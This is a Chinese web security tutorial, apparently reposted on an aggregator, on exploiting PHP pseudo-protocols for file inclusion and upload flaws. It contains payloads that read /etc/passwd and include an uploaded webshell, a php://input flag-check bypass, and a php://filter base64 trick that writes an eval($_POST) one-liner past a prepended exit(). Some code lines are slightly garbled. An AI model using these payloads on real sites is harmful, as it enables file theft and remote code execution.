WEB安全--文件上傳漏洞--php偽協議的利用

一、偽協議介紹

1.1、內容

在 PHP 中,偽協議通常指的是一種通過特定的 URL 協議方案實現某些特殊功能或行為的方式。偽協議通常并不是標準的協議(如 HTTP、HTTPS),而是由應用程序或開發者自定義的“偽”協議,用于執行某些特定任務。

1.2、各協議條件

偽協議allow_url_fopenallow_url_include描述及用途
file://? 需開啟? 無影響訪問本地文件:file_get_contents("file:///path/to/file")
php://input? 無影響? 無影響讀取 HTTP 請求的原始數據流(如 POST 的 body):file_get_contents("php://input")
php://filter? 無影響? 無影響流式操作:如 Base64 編碼、解碼(結合 file:// 讀取源碼)
http://? 需開啟? 需開啟遠程文件訪問或 include(極不安全,建議禁用)
https://? 需開啟? 需開啟同上
ftp://? 需開啟? 需開啟FTP 訪問文件(極不安全,建議禁用)
data://? 需開啟? 無影響直接在腳本中內聯數據流(極不安全,建議禁用)
zip://? 無影響? 無影響訪問 ZIP 壓縮包中的文件(無需開啟遠程訪問)

二、利用方式

2.1、file://

介紹:

file:// 協議允許通過 PHP 函數訪問本地文件。常見函數有:

  • file_get_contents()

  • fopen()

  • include / require

比如:

// 讀取本地文件
echo file_get_contents("file:///etc/passwd");

示例:

1、任意文件讀取
$file = $_GET['path'];
echo file_get_contents($file);  // 假設某應用支持動態文件讀取http://example.com/vuln.php?path=file:///etc/passwd  // payload2、本地文件包含 (LFI)
$page = $_GET['page'];
include $page;                // include 動態文件http://example.com/vuln.php?page=file:///etc/passwd  //payload3、執行webshell
include "file:///var/www/uploads/shell.php";

2.2、php://input

介紹:

php://input 是 PHP 中的一個偽協議,用于讀取原始的 POST 數據。與 $_POST 不同,php://input 不會經過 PHP 的解析器處理,可以獲取到未經處理的原始數據流,通常用于接收如 JSON 或 XML 格式的請求體數據。

可以訪問請求的原始數據只讀流,將POST請求中的數據作為PHP代碼執行。

示例:

后端過濾

??php
show_source(_FILE_);
include ('flag.php');$a = $_GET["a"];
if(isset($a)&&(file_get_contents($a,'r')) === 'I want flag'){echo "success\n";echo $flag;
} 
else
{
die('no no no');
}

可以看到,如果我們想得到flag就得進入第一個判斷,那條件是什么呢?

主要就是怎么在傳參時滿足這個條件:(file_get_contents($a,'r')) === 'I want flag')

普通思路可以想我們直接輸入'I want flag'

也就是? 127.0.0.1/include.php?a=I want flag

但是這是沒有用的,因為服務器目錄中沒有'I want flag'這個文件,就算有其內容也不是'I want flag'

但是file_get_contents($a,'r')可以接收文件名,也可以接收原始數據流;并且php://input可以接收post傳參(數據流式傳遞)

當file_get_contents()接收到流式數據就不會去找文件名,直接讀取數據流內容。

所以payload:

127.0.0.1/include.php/a=php://inputI want flag     //同時post傳參

2.3、php://filter

介紹:

php://filter 能對流式數據進行處理,可以結合 file_get_contentsincluderequirefopen 等函數,對目標文件做特定操作,比如:

  • convert.base64-encode:對文件內容進行 Base64 編碼

  • convert.base64-decode:對 Base64 內容進行解碼

  • string.strip_tags:移除 HTML 標簽

  • string.rot13:對內容進行 ROT13 加密

示例:

繞過死亡exit():

<?php
$filename=$_GET['filename'];
$content=$_GET['content'];
file_put_contents($filename,"<?php exit();".$content);

$content在開頭增加了exit過程,導致即使我們成功寫入一句話,也執行不了。那么這種情況下,如何繞過這個“死亡exit”?

思路其實也很簡單我們只要將content前面的那部分內容使用某種手段(編碼等)進行處理,導致php不能識別該部分就可以了。

這里的$_GET[‘filename’]是可以控制協議的.

payload:

?filename=php://filter/convert.base64-
decode/resource=1.php&content=aPD9waHAgZXZhbCgkX1BPU1RbYV0pOw==

解析payload:

Base64編碼是使用64個可打印ASCII字符(A-Z、a-z、0-9、+、/)將任意字節序列數據編碼成ASCII字符串,另有“=”符號用作后綴用途。

base64編碼中只包含64個可打印字符,而PHP在解碼base64時,遇到不在其中的字符時,將會跳過這些字符,僅將合法字符組成一個新的字符串進行解碼

當$content被加上了<?php exit; ?>以后,我們可以使用php://filter/write=convert.base64-decode來首先對其解碼。在解碼的過程中,字符< ? ; >空格等一共有7個字符不符合base64編碼的字符范圍將被忽略,所以最終被解碼的字符僅有”phpexit”和我們傳入的其他字符。

由于,”phpexit”一共7個字符,但是base64算法解碼時是4個byte一組,所以我們可以隨便再給他添加一個字符。這樣前邊的phpexit加上另一個字符就會被base64解碼,然后后邊的我們精心構造的base64字符串也會被成功解碼為php代碼。

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/pingmian/75391.shtml
繁體地址,請注明出處:http://hk.pswp.cn/pingmian/75391.shtml
英文地址,請注明出處:http://en.pswp.cn/pingmian/75391.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

高級:高并發架構面試題深度解析

一、引言 在現代互聯網應用開發中&#xff0c;高并發架構設計是確保系統在高負載下仍能穩定、高效運行的關鍵。面試官通過相關問題&#xff0c;考察候選人對高并發系統設計的理解、架構模式的掌握以及在實際項目中解決問題的能力。本文將深入剖析高并發系統的設計原則、常見的…

Opencv之dilib庫:表情識別

一、簡介 在計算機視覺領域&#xff0c;表情識別是一個既有趣又具有挑戰性的任務。它在人機交互、情感分析、安防監控等眾多領域都有著廣泛的應用前景。本文將詳細介紹如何使用 Python 中的 OpenCV 庫和 Dlib 庫來實現一個簡單的實時表情識別系統。 二、實現原理 表情識別系統…

【動態規劃】線性dp——LIS和LCS

參考文章 子序列 一個序列 A &#xff1d; a 1 , a 2 , … , a n A&#xff1d;a_1,a_2,…,a_n A&#xff1d;a1?,a2?,…,an? 中任意刪除若干項&#xff0c;剩余的序列叫做 A 的一個子序列。也可以認為是從序列 A 按原順序保留任意若干項得到的序列。&#xff08;例如&…

umi框架開發移動端h5

1、官網&#xff1a;https://umijs.org/ 2、創建出來的項目 yarn create umi yarn start3、推薦目錄結構 . ├── config │ └── config.ts ├── public//靜態資源 ├── dist ├── mock │ └── app.ts&#xff5c;tsx ├── src │ ├── .umi │ ├── .um…

《Golang高性能網絡編程:構建低延遲服務器應用》

在本文中&#xff0c;我們將深入探討Golang高性能網絡編程&#xff0c;幫助您構建低延遲服務器應用。我們將介紹Golang的網絡編程特性、優化技巧和實際案例&#xff0c;讓您更好地理解和應用Golang在網絡編程領域的優勢。 高性能網絡編程簡介 什么是Golang高性能網絡編程 高性能…

循環結構- P1217-回文質數-第三十四天

洛谷題單 第三十四天&#xff1a;4.3&#xff08;周四&#xff09; 題目&#xff1a;循環結構–P1217 注意&#xff01;&#xff01;&#xff01;本題的解法在初學階段足矣&#xff0c;使用埃氏篩即可全部AC&#xff08;高級算法&#xff0c;優化時間復雜度&#xff09;&…

github鏡像網站的使用

很多時候我們無法訪問github 那么我們可以網上搜索鏡像網站 比如 https://blog.csdn.net/eytha/article/details/144797222 這里可以找到一些鏡像站 然后直接編輯 c:/user/xxx/.gitconfig 內容如 [user]name xxxxemail xxxxhotmail.com [gui]recentrepo D:/ProjectFolder/t…

論定制開發開源 AI 智能名片 S2B2C 商城小程序源碼在零售變革中的角色與價值

摘要&#xff1a;本文深入探討了新零售中 O2O 模式的特點與局限性&#xff0c;指出其雖有導流作用但難以成為企業轉型適應消費大環境的主力做法。強調解決零售根本問題需依靠大零售概念&#xff0c;包括業態融合、情境創造、分解滲透等。同時引入定制開發開源 AI 智能名片 S2B2…

硬件工程師零基礎入門教程(三)

27.二極管的基本結構 二極管的結構就是一個PN節&#xff0c;導通后肯定會存在壓降&#xff08;硅管≈0.7V&#xff1b;鍺管≈0.3V&#xff09;。 其結構就像一個漏斗結構&#xff0c;普通二極管只能單向導通。 注意&#xff1a;二極管兩端不能直接接大于二極管導通壓降的電壓…

ollama導入huggingface下載的大模型并量化

1. 導入GGUF 類型的模型 1.1 先在huggingface 下載需要ollama部署的大模型 1.2 編寫modelfile 在ollama 里面輸入 ollama show --modelfile <你有的模型名稱> eg: ollama show --modelfile qwen2.5:latest修改其中的from 路徑為自己的模型下載路徑 FROM /Users/lzx/A…

C++基礎系列【35】巧用assert

博主介紹&#xff1a;程序喵大人 35- 資深C/C/Rust/Android/iOS客戶端開發10年大廠工作經驗嵌入式/人工智能/自動駕駛/音視頻/游戲開發入門級選手《C20高級編程》《C23高級編程》等多本書籍著譯者更多原創精品文章&#xff0c;首發gzh&#xff0c;見文末&#x1f447;&#x1f…

【EI檢索】2025年城市設計與規劃國際會議 (CoUDP 2025)

重要信息 會議網址&#xff1a;www.coudp.org 會議時間&#xff1a;2025年9月19-21日 召開地點&#xff1a;中國北京 截稿時間&#xff1a;2025年8月19日 錄用通知&#xff1a;投稿后2周內 收錄檢索&#xff1a;Ei Compendex, SCOPUS 會議簡介 2025年城市設計與規劃…

《實戰AI智能體》MCP對Agent有哪些好處

首先MCP為Agent提供了標準化的方式來接入各種工具和數據源,無論是本地運行的工具,例如通過stdio服務器,還是遠程托管的服務HTTP over SSE服務, Agent都可以通過統一的接口與它們進行交互,極大擴展了第三方工具庫。 例如,在金融領域,Agent 可以接入股票分析的MCP工具。當…

知識圖譜在官網中的本質與部署邏輯

知識圖譜在官網中的本質與部署邏輯 ?1. 知識圖譜不是獨立頁面&#xff0c;而是智能化基礎設施 知識圖譜的最終形態并非一個可見的“圖譜頁面”&#xff0c;而是滲透在官網各交互模塊的AI能力引擎&#xff0c;其核心作用在于&#xff1a; ?后臺&#xff1a;構建實體關系網絡…

藍橋杯沖刺

例題1&#xff1a;握手問題 方法1&#xff1a;數學推理(簡單粗暴&#xff09; 方法2&#xff1a;用代碼實現方法1 #include<iostream> using namespace std; int main() {int result 0;for (int i 1; i < 49; i){for (int j i 1; j < 50; j){//第i個人與第j個…

如何在服務器里備份文件或系統

當我們在企業里&#xff0c;備份文件或者系統是需要經常做的&#xff0c;當我們服務器系統崩潰了或者損壞了&#xff0c;或者我們的存放的工作需求的文件夾損壞丟失&#xff0c;這時候如何我們提前備份了就可以快速回復。 那接下來我們直接上實操&#xff0c;接下來操作是在虛…

Qt實現點擊按鈕彈出側邊框(可用于登錄界面)

Qt實現點擊按鈕彈出側邊框 1、創建界面2、封面按鈕實現2.1 連接信號與槽2.2固定封面按鈕、側邊框及各個標簽位置和頂層顯示封面按鈕2.3創建側邊框狀態并在初始化列表中初始化2.4 側邊框動畫效果實現 3、視頻演示效果4、總結 1、創建界面 封面按鈕樣式表 QPushButton { border…

SQL WHERE 與 HAVING

WHERE 和 HAVING 都是 SQL 中用于篩選數據的子句&#xff0c;但它們有重要的區別 WHERE 子句 在 分組前 過濾數據 作用于 原始數據行 不能使用聚合函數 執行效率通常比 HAVING 高 SELECT column1, column2 FROM table WHERE condition; HAVING 子句 在 分組后 過濾數據 …

表格數據導出為Excel

環境及插件配置&#xff1a;&#xff08;理論上vue2應該也可以使用&#xff0c;沒有試驗過&#xff09; "vue": "^3.2.36", "webpack": "^5.94.0", "webpack-cli": "^5.1.4", "file-saver": "^2.…

Photoshop 2025 Mac中文 Ps圖像編輯軟件

Photoshop 2025 Mac中文 Ps圖像編輯軟件 文章目錄 Photoshop 2025 Mac中文 Ps圖像編輯軟件一、介紹二、效果三、下載 一、介紹 Adobe Photoshop 2025 Mac版集成了多種強大的圖像編輯、處理和創作功能。①強化了Adobe Sensei AI的應用&#xff0c;通過智能摳圖、自動修復、圖像…